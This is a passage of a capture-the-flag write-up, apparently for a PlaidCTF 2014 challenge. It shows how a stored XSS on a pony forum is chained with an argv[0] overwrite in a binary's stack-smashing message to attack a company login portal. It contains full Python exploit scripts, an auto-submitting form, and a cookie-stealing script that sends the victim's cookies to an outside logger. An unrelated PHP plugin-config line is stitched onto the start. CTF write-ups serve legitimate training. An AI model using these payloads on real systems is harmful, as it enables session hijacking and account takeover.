$plugins['authad'] = '0'; $plugins['authldap'] = '1'; $plugins['authmysql'] = '0'; $plugins['authpgsql'] = '0';
Task text:
We are trying to break into eXtreme Secure Solutions, where The Plague works as a system adminstrator. We have found that their internal company login page is at http://portal.essolutions.largestctf.com/. Recon has also revealed that The Plague likes to browse this site during work hours: http://54.196.225.30/ using the username ponyboy2004. Remember, our main target is to break into the company portal, *not* the pony site.
Since the task text mentions “The Plague likes to browse this site” it is clear there is some form of XSS required in the task (the company name is also a giveaway).
But let's check it out first. It turns out that http://54.196.225.30/ is a portal for “My little pony” fans with a “recognize the pony” captcha.
We create an account and try some XSS payloads. Since we don't normally know when it will work and when it won't we use netcat as a sink by sending the following to ponyboy2004:
<script src="http://swarm.cs.pub.ro:42424"> </script>
rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-3-216.compute-1.amazonaws.com [54.86.3.216] 39744 GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Accept: */* Referer: http://54.196.225.30/index.php?page=msgs&mid=11146&prevent_teams_from_stealing_your_xss_payload=15fa9400f39386ea30555e2331875571572fe5974a7374990671247f6630d923 Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424
Since this worked on the first try there is no need for filter bypassing or anything. We can now deliver XSS payloads and phantomjs will run them.
The site needs a username, a password and a token. We could try some SQL injections but the problem lies elsewhere. Trying various input leads to an interesting outcome: when you input a large token you get the following result:
<body> <h1>Login status</h1> <ul> *** stack smashing detected ***: ./checkotp terminated ======= Backtrace: ========= /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xf74c8980] /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xeb92a)[0xf74c892a] ./checkotp[0x8048aa6] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 ca:00 139286 /var/www/checkotp 08049000-0804a000 r--p 00001000 ca:00 139286 /var/www/checkotp 0804a000-0804b000 rw-p 00002000 ca:00 139286 /var/www/checkotp 09cc6000-09ce7000 rw-p 00000000 00:00 0 [heap] f7398000-f73b4000 r-xp 00000000 ca:00 262671 /lib/i386-linux-gnu/libgcc_s.so.1 f73b4000-f73b5000 rw-p 0001b000 ca:00 262671 /lib/i386-linux-gnu/libgcc_s.so.1 f73be000-f73bf000 rw-p 00000000 00:00 0 f73bf000-f73d6000 r-xp 00000000 ca:00 262723 /lib/i386-linux-gnu/libz.so.1.2.7 f73d6000-f73d7000 r--p 00016000 ca:00 262723 /lib/i386-linux-gnu/libz.so.1.2.7 f73d7000-f73d8000 rw-p 00017000 ca:00 262723 /lib/i386-linux-gnu/libz.so.1.2.7 f73d8000-f73da000 r-xp 00000000 ca:00 263617 /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so f73da000-f73db000 r--p 00001000 ca:00 263617 /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so f73db000-f73dc000 rw-p 00002000 ca:00 263617 /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so f73dc000-f73dd000 rw-p 00000000 00:00 0 f73dd000-f753a000 r-xp 00000000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f753a000-f753b000 ---p 0015d000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f753b000-f753d000 r--p 0015d000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f753d000-f753e000 rw-p 0015f000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f753e000-f7541000 rw-p 00000000 00:00 0 f7541000-f76e4000 r-xp 00000000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f76e4000-f76e5000 ---p 001a3000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f76e5000-f76f4000 r--p 001a3000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f76f4000-f76fd000 rw-p 001b2000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f76fd000-f7700000 rw-p 00000000 00:00 0 f7708000-f770b000 rw-p 00000000 00:00 0 f770b000-f770c000 r-xp 00000000 00:00 0 [vdso] f770c000-f7728000 r-xp 00000000 ca:00 262683 /lib/i386-linux-gnu/ld-2.13.so f7728000-f7729000 r--p 0001b000 ca:00 262683 /lib/i386-linux-gnu/ld-2.13.so f7729000-f772a000 rw-p 0001c000 ca:00 262683 /lib/i386-linux-gnu/ld-2.13.so ff9d7000-ff9f8000 rw-p 00000000 00:00 0 [stack] Aborted <li style="color: red">Username or password incorrect!</li></ul> </body>
So it seems the login.php page uses a binary for otp checking. Let's try and download it to see what's under the hood:
$ wget http://portal.essolutions.largestctf.com/checkotp --2014-04-19 16:03:36-- http://portal.essolutions.largestctf.com/checkotp Resolving portal.essolutions.largestctf.com... 54.83.62.45 Connecting to portal.essolutions.largestctf.com|54.83.62.45|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 9616 (9.4K) Saving to: 'checkotp' 100%[==================================================================================================================================================================================>] 9,616 --.-K/s in 0.006s 2014-04-19 16:03:36 (1.46 MB/s) - 'checkotp' saved [9616/9616] $ file checkotp checkotp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=70a59a902eb6702adf899b2aa35d151eee119b2a, stripped
Since it's 32 bit we can decompile it pretty much cleanly. The main() function calls check_routine():
int __cdecl check_routine(const char *username, const char *password, int otp) { size_t passlen; // ebp@1 size_t userlen; // eax@1 int passlen2; // edx@1 int v6; // ecx@2 int strlen_adjust; // eax@2 int correct_otp; // ebx@4 int v9; // ecx@4 int result; // eax@4 __int32 time_interv; // [sp+28h] [bp-B4h]@1 char sha_ctx; // [sp+2Ch] [bp-B0h]@1 unsigned int v13; // [sp+9Ch] [bp-40h]@4 int v14; // [sp+BCh] [bp-20h]@1 v14 = *MK_FP(__GS__, 20); passlen = strlen(password); memfrob(password, passlen); memcpy(pass_bss_buf, password, 0x80u); pass_bss_nullbyte = 0; memset((void *)password, 0, passlen); strncpy(user_bss_buf, username, 0x10u); user_bss_nullbyte = 0; time_interv = time(0) / 600; SHA256_Init(&sha_ctx); userlen = strlen(user_bss_buf); SHA256_Update(&sha_ctx, user_bss_buf, userlen); SHA256_Update(&sha_ctx, ":", 1); passlen2 = (int)pass_bss_buf; do { v6 = *(_DWORD *)passlen2; passlen2 += 4; strlen_adjust = ~v6 & (v6 - 0x1010101) & 0x80808080;// optimized strlen } while ( !strlen_adjust ); if ( !(strlen_adjust & 0x8080) ) { strlen_adjust = (unsigned int)strlen_adjust >> 16;// optimized strlen passlen2 += 2; } SHA256_Update( &sha_ctx, pass_bss_buf, passlen2 - (__CFADD__((_BYTE)strlen_adjust, (_BYTE)strlen_adjust) + 3) - (_DWORD)pass_bss_buf); SHA256_Update(&sha_ctx, ":", 1); SHA256_Update(&sha_ctx, &time_interv, 4); SHA256_Final(&v13, &sha_ctx); correct_otp = strtol((const char *)otp, 0, 10) == v13 % 3133337; check_token(user_bss_buf, (char *)otp, correct_otp); result = correct_otp; if ( *MK_FP(__GS__, 20) != v14 ) __stack_chk_fail(v9, *MK_FP(__GS__, 20) ^ v14); return result; }
The overflow occurs in check_token():
int __cdecl check_token(char *username, char *otpbuf, int correct_flag) { int out_string; // eax@1 FILE *nullfd; // ebx@3 int v5; // edx@3 int v6; // ecx@3 int result; // eax@3 char outbuf[16]; // [sp+2Ch] [bp-50h]@3 int v9; // [sp+6Ch] [bp-10h]@1 v9 = *MK_FP(__GS__, 20); out_string = (int)"Incorrect"; if ( correct_flag ) out_string = (int)"Correct"; sprintf(outbuf, "%s OTP attempt: %s:%s", out_string, username, otpbuf); nullfd = fopen("/dev/null", "r"); fputs(outbuf, nullfd); fclose(nullfd); result = *MK_FP(__GS__, 20) ^ v9; if ( *MK_FP(__GS__, 20) != v9 ) __stack_chk_fail(v6, v5); return result; }
From the analysis we observe that the binary is (probably) not really exploitable. Since the token is predictable we can try logging in to at least see what is printed:
gdb-peda$ b *0x08048c81 Breakpoint 1 at 0x8048c81 gdb-peda$ run Starting program: /ctf/Hexcellents/pctf2014/bronies/./checkotp warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch). warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? /ctf/Hexcellents/pctf2014/bronies/./checkotp: /usr/lib32/libcrypto.so.1.0.0: no version information available (required by /ctf/Hexcellents/pctf2014/bronies/./checkotp) admin pass 2742162 [----------------------------------registers-----------------------------------] EAX: 0x527021cf EBX: 0x9d729 ECX: 0x39b2a94a EDX: 0x804b108 ("2742162\n") ESI: 0x29d792 EDI: 0x804a0c0 ("admin\n") EBP: 0x5 ESP: 0xffffccc0 --> 0x804a0c0 ("admin\n") EIP: 0x8048c81 (cmp esi,ebx) EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048c75: imul edx,edx,0x2fcf99 0x8048c7b: sub ebx,edx 0x8048c7d: mov edx,DWORD PTR [esp+0x1c] => 0x8048c81: cmp esi,ebx 0x8048c83: sete bl 0x8048c86: movzx ebx,bl 0x8048c89: mov DWORD PTR [esp+0x4],edx 0x8048c8d: mov DWORD PTR [esp+0x8],ebx [------------------------------------stack-------------------------------------] 0000| 0xffffccc0 --> 0x804a0c0 ("admin\n") 0004| 0xffffccc4 --> 0x0 0008| 0xffffccc8 --> 0xa ('\n') 0012| 0xffffcccc --> 0x0 0016| 0xffffccd0 --> 0x1001 0020| 0xffffccd4 --> 0x90 0024| 0xffffccd8 --> 0x804b008 ("admin\n") 0028| 0xffffccdc --> 0x804b108 ("2742162\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048c81 in ?? () [ esi contains our input and ebx the correct input ] gdb-peda$ run Starting program: /ctf/Hexcellents/pctf2014/bronies/./checkotp warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch). warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? /ctf/Hexcellents/pctf2014/bronies/./checkotp: /usr/lib32/libcrypto.so.1.0.0: no version information available (required by /ctf/Hexcellents/pctf2014/bronies/./checkotp) admin pass 644905 [----------------------------------registers-----------------------------------] EAX: 0x527021cf EBX: 0x9d729 ECX: 0x39b2a94a EDX: 0x804b108 ("644905\n") ESI: 0x9d729 EDI: 0x804a0c0 ("admin\n") EBP: 0x5 ESP: 0xffffccc0 --> 0x804a0c0 ("admin\n") EIP: 0x8048c81 (cmp esi,ebx) EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048c75: imul edx,edx,0x2fcf99 0x8048c7b: sub ebx,edx 0x8048c7d: mov edx,DWORD PTR [esp+0x1c] => 0x8048c81: cmp esi,ebx 0x8048c83: sete bl 0x8048c86: movzx ebx,bl 0x8048c89: mov DWORD PTR [esp+0x4],edx 0x8048c8d: mov DWORD PTR [esp+0x8],ebx [------------------------------------stack-------------------------------------] 0000| 0xffffccc0 --> 0x804a0c0 ("admin\n") 0004| 0xffffccc4 --> 0x0 0008| 0xffffccc8 --> 0xa ('\n') 0012| 0xffffcccc --> 0x0 0016| 0xffffccd0 --> 0x1001 0020| 0xffffccd4 --> 0x90 0024| 0xffffccd8 --> 0x804b008 ("admin\n") 0028| 0xffffccdc --> 0x804b108 ("644905\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048c81 in ?? () gdb-peda$ continue Continuing. <li>OTP correct...</li> [Inferior 1 (process 2357) exited normally]
Output from the server when we enter the data above:
<body> <h1>Login status</h1> <ul> <li>OTP correct...</li> <li style="color: red">Username or password incorrect!</li></ul> </body>
We can however use the password buffer to print out any 127 byte string (with some limitations) by overwriting argv[0] which will be used when the stack smashing protector aborts execution. The trick is to put a breakpoint on fortify_fail and compute the offsets. Entering
A, B and AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A
and stopping on the dereferencing instruction we get the needed size:
gdb-peda$ b __fortify_fail Breakpoint 1 at 0xf7da0f40 gdb-peda$ continue A B AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A [...step until the critical instruction] [----------------------------------registers-----------------------------------] EAX: 0xffffce74 --> 0xffffd03e ("/ctf/Hexcellents/pctf2014/bronies/./checkotp") EBX: 0xf7e3be54 --> 0x1a6d5c ECX: 0x804b1f8 --> 0x0 EDX: 0xf7e3c430 --> 0x804b1f8 --> 0x0 ESI: 0xf7dfdc59 ("*** %s ***: %s terminated\n") EDI: 0xf7dfbb91 ("<unknown>") EBP: 0xf7dfdc41 ("stack smashing detected") ESP: 0xffffcc00 --> 0x804b200 --> 0x0 EIP: 0xf7da0f66 (<__fortify_fail+38>: mov eax,DWORD PTR [eax]) EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7da0f54 <__fortify_fail+20>: lea edi,[ebx-0x402c3] 0xf7da0f5a <__fortify_fail+26>: lea esi,[ebx-0x3e1fb] 0xf7da0f60 <__fortify_fail+32>: mov eax,DWORD PTR [ebx+0x37ec] => 0xf7da0f66 <__fortify_fail+38>: mov eax,DWORD PTR [eax] 0xf7da0f68 <__fortify_fail+40>: mov DWORD PTR [esp+0x8],ebp 0xf7da0f6c <__fortify_fail+44>: mov DWORD PTR [esp+0x4],esi 0xf7da0f70 <__fortify_fail+48>: mov DWORD PTR [esp],0x2 0xf7da0f77 <__fortify_fail+55>: test eax,eax [------------------------------------stack-------------------------------------] 0000| 0xffffcc00 --> 0x804b200 --> 0x0 0004| 0xffffcc04 --> 0x0 0008| 0xffffcc08 --> 0x2 0012| 0xffffcc0c --> 0xf7cfe37c (<fclose+332>: mov eax,edi) 0016| 0xffffcc10 --> 0x0 0020| 0xffffcc14 --> 0x0 0024| 0xffffcc18 --> 0xf7da0f4b (<__fortify_fail+11>: add ebx,0x9af09) 0028| 0xffffcc1c --> 0xf7e3be54 --> 0x1a6d5c [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf7da0f66 in __fortify_fail () from /lib32/libc.so.6 gdb-peda$ find AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A Searching for 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A' in: None ranges Found 3 results, display max 3 items: [heap] : 0x804b108 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A"...) mapped : 0xf7fd9000 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A"...) [stack] : 0xffffcc86 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A"...) [ 0xffffce74 is the contents of EAX (argv[0]) and 0xffffcc86 is the start of our input ] gdb-peda$ p 0xffffce74 - 0xffffcc86 $1 = 0x1ee gdb-peda$ pattc 0x1ee 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1AaCAacAa2AaDAadAa3AaEAaeAa4AaFAafAa5AaGAagAa6AaHAahAa7AaIAaiAa8AaJAajAa9AaKAakAaLAalAaMAamAaNAanAaOAaoAaPAapAaQAaqAaRAarAaSAasAaTAatAaUAauAaVAavAaWAawAaXAaxAaYAayAaZAazA0aA00A0BA0bA01A0CA0cA02A0DA0dA03A0EA0eA04A0FA0fA05A0GA0gA06A0HA0hA07A0IA0iA08A0JA0jA09A0KA0kA0LA0lA0MA0mA0NA0nA0OA0oA0PA0pA0QA' gdb-peda$ run Starting program: /ctf/Hexcellents/pctf2014/bronies/./checkotp A B AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1AaCAacAa2AaDAadAa3AaEAaeAa4AaFAafAa5AaGAagAa6AaHAahAa7AaIAaiAa8AaJAajAa9AaKAakAaLAalAaMAamAaNAanAaOAaoAaPAapAaQAaqAaRAarAaSAasAaTAatAaUAauAaVAavAaWAawAaXAaxAaYAayAaZAazA0aA00A0BA0bA01A0CA0cA02A0DA0dA03A0EA0eA04A0FA0fA05A0GA0gA06A0HA0hA07A0IA0iA08A0JA0jA09A0KA0kA0LA0lA0MA0mA0NA0nA0OA0oA0PA0pA0QAABCD [...skip like before] gdb-peda$ [----------------------------------registers-----------------------------------] EAX: 0x44434241 ('ABCD') EBX: 0xf7e3be54 --> 0x1a6d5c ECX: 0x804b2f8 --> 0xa4443 ('CD\n') EDX: 0xf7e3c430 --> 0x804b2f8 --> 0xa4443 ('CD\n') ESI: 0xf7dfdc59 ("*** %s ***: %s terminated\n") EDI: 0xf7dfbb91 ("<unknown>") EBP: 0xf7dfdc41 ("stack smashing detected") ESP: 0xffffcc00 --> 0x804b300 --> 0x0 EIP: 0xf7da0f68 (<__fortify_fail+40>: mov DWORD PTR [esp+0x8],ebp) EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7da0f5a <__fortify_fail+26>: lea esi,[ebx-0x3e1fb] 0xf7da0f60 <__fortify_fail+32>: mov eax,DWORD PTR [ebx+0x37ec] 0xf7da0f66 <__fortify_fail+38>: mov eax,DWORD PTR [eax] => 0xf7da0f68 <__fortify_fail+40>: mov DWORD PTR [esp+0x8],ebp
Now instead of ABCD we can set the BSS password buffer and so we get 127 bytes of output. There are however some limitations: the memory is first “frobbed” (xored with 42) so there are a few characters that are blacklisted.
We make a script and then check against the remote server:
#!/usr/bin/python import requests import struct import urllib def do_request(url, post_dict = None, cookie_dict = None): r = requests.post(url, data=post_dict, headers = {'content-type': 'application/x-www-form-urlencoded'} ) print r.content def pad_to(s, pad_len): pad_char = 'Q' return (s + pad_char * (pad_len - len(s) ))[:pad_len] def frob(s): out = [] for i in s: if i == ' ' or i == '*' or i == "'" : print "ERROR. character [%s] not allowed in payload" % i exit(-1) out.append(chr( 42 ^ ord(i) ) ) return ''.join(out) def create_credentials(s): username = "A" password = pad_to(urllib.quote(frob(s)),127*2) token = "A" * (460 + 50 ) + struct.pack("<I", 0x804a040) token = urllib.quote(token) return (username, password, token) def send_xss_payload(s): (username, password, token) = create_credentials(s) print "Password is %d bytes long" % len(password) d = "username=%s&password=%s&otp=%s" % (username, password, token) url = 'http://portal.essolutions.largestctf.com/login.php' print d do_request(url, d) if __name__ == "__main__": send_xss_payload(""""<script>alert("HAU!")</script>""")
$ python create_otp_payload.py Password is 254 bytes long username=A&password=%08%16YIXCZ%5E%14KFOX%5E%02%08bk%7F%0B%08%03%16%05YIXCZ%5E%14QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&otp=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40%A0%04%08 <body> <h1>Login status</h1> <ul> *** stack smashing detected ***: "<script>alert("HAU!")</script>{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{ terminated ======= Backtrace: ========= /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xf750d980] /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xeb92a)[0xf750d92a] "<script>alert("HAU!")</script>{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{[0x8048aa6] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 ca:00 139286 /var/www/checkotp 08049000-0804a000 r--p 00001000 ca:00 139286 /var/www/checkotp 0804a000-0804b000 rw-p 00002000 ca:00 139286 /var/www/checkotp 09442000-09463000 rw-p 00000000 00:00 0 [heap] f73dd000-f73f9000 r-xp 00000000 ca:00 262671 /lib/i386-linux-gnu/libgcc_s.so.1 f73f9000-f73fa000 rw-p 0001b000 ca:00 262671 /lib/i386-linux-gnu/libgcc_s.so.1 f7403000-f7404000 rw-p 00000000 00:00 0 f7404000-f741b000 r-xp 00000000 ca:00 262723 /lib/i386-linux-gnu/libz.so.1.2.7 f741b000-f741c000 r--p 00016000 ca:00 262723 /lib/i386-linux-gnu/libz.so.1.2.7 f741c000-f741d000 rw-p 00017000 ca:00 262723 /lib/i386-linux-gnu/libz.so.1.2.7 f741d000-f741f000 r-xp 00000000 ca:00 263617 /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so f741f000-f7420000 r--p 00001000 ca:00 263617 /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so f7420000-f7421000 rw-p 00002000 ca:00 263617 /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so f7421000-f7422000 rw-p 00000000 00:00 0 f7422000-f757f000 r-xp 00000000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f757f000-f7580000 ---p 0015d000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f7580000-f7582000 r--p 0015d000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f7582000-f7583000 rw-p 0015f000 ca:00 263628 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so f7583000-f7586000 rw-p 00000000 00:00 0 f7586000-f7729000 r-xp 00000000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f7729000-f772a000 ---p 001a3000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f772a000-f7739000 r--p 001a3000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f7739000-f7742000 rw-p 001b2000 ca:00 15270 /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0 f7742000-f7745000 rw-p 00000000 00:00 0 f774d000-f7750000 rw-p 00000000 00:00 0 f7750000-f7751000 r-xp 00000000 00:00 0 [vdso] f7751000-f776d000 r-xp 00000000 ca:00 262683 /lib/i386-linux-gnu/ld-2.13.so f776d000-f776e000 r--p 0001b000 ca:00 262683 /lib/i386-linux-gnu/ld-2.13.so f776e000-f776f000 rw-p 0001c000 ca:00 262683 /lib/i386-linux-gnu/ld-2.13.so ffec4000-ffee5000 rw-p 00000000 00:00 0 [stack] Aborted <li style="color: red">Username or password incorrect!</li></ul> </body>
We reuse this to output a classic cookie stealing payload. We need however to input the data as POST form data. We create the payload to input into the pony site using the following script:
#!/usr/bin/python # test: $ python create_xss_external.py > ponei.html, load ponei.html in browser import urllib from create_otp_payload import create_credentials YOUR_IP = "swarm.cs.pub.ro:42424" s = """<script>document.location="http://%s/logger.php?cookie="+document.cookie;</script>""" % YOUR_IP (username, password, token) = create_credentials(s) username = urllib.unquote(username) password = urllib.unquote(password) token = urllib.unquote(token) password = password.encode('string_escape') token = token.encode('string_escape') print """ <form action="http://portal.essolutions.largestctf.com/login.php" method="post" id="leet"> <input type="hidden" id="username" name="username" value="a"> <input type="hidden" id="otp" name="otp" value="b"> <input type="hidden" id="password" name="password" value="c"> </form> <script> document.getElementById("username").value = "{username}"; document.getElementById("otp").value = "{token}"; document.getElementById("password").value = "{password}"; document.getElementById("leet").submit(); </script> """.format(username=username, password=password, token=token)
Output:
<form action="http://portal.essolutions.largestctf.com/login.php" method="post" id="leet"> <input type="hidden" id="username" name="username" value="a"> <input type="hidden" id="otp" name="otp" value="b"> <input type="hidden" id="password" name="password" value="c"> </form> <script> document.getElementById("username").value = "A"; document.getElementById("otp").value = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xa0\x04\x08"; document.getElementById("password").value = "\x16YIXCZ^\x14NEI_GOD^\x04FEIK^CED\x17\x08B^^Z\x10\x05\x05Y]KXG\x04IY\x04Z_H\x04XE\x10\x1e\x18\x1e\x18\x1e\x05FEMMOX\x04ZBZ\x15IEEACO\x17\x08\x01NEI_GOD^\x04IEEACO\x11\x16\x05YIXCZ^\x14QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"; document.getElementById("leet").submit(); </script>
We then send this payload to ponyboy2004 and listen:
